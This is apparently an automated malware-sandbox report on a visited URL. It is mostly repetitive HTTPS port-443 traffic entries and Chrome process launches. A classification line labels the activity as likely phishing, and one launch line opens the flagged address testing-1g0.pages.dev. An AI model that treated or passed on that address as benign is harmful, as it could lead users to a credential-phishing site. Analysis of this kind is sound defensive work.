Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50763
Source: unknown	Network traffic detected: HTTP traffic on port 51320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 51077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50705
Source: unknown	Network traffic detected: HTTP traffic on port 51065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50708
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50716
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50718
Source: unknown	Network traffic detected: HTTP traffic on port 50808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 50771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 51307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50720
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 51115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51203
Source: unknown	Network traffic detected: HTTP traffic on port 51396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51204
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51202
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51213
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50779
Source: unknown	Network traffic detected: HTTP traffic on port 50911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50778
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50775
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50789
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50785
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50798
Source: unknown	Network traffic detected: HTTP traffic on port 51360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown	Network traffic detected: HTTP traffic on port 51245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50619 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50797
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown	Network traffic detected: HTTP traffic on port 51409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51143
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51148
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51147
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51150
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51162
Source: unknown	Network traffic detected: HTTP traffic on port 51347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51160
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51161
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51165
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51172
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51179
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51180
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51181
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51185
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51182
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51107
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51101
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51105
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51103
Source: unknown	Network traffic detected: HTTP traffic on port 50731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51110
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51113
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51129
Source: unknown	Network traffic detected: HTTP traffic on port 51335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51127
Source: unknown	Network traffic detected: HTTP traffic on port 51004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51125
Source: unknown	Network traffic detected: HTTP traffic on port 50836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51141
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51188
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51195
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51196
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51197
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50851
Source: unknown	Network traffic detected: HTTP traffic on port 51044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 51032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50867
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50868
Source: unknown	Network traffic detected: HTTP traffic on port 51353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50863
Source: unknown	Network traffic detected: HTTP traffic on port 50864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846

Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.214.149.91:443 -> 192.168.2.6:51145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.27:443 -> 192.168.2.6:51268 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.win@71/1002@586/100

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2452,i,18375009690567221965,13761040194635952857,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://testing-1g0.pages.dev/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=10776 --field-trial-handle=2452,i,18375009690567221965,13761040194635952857,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
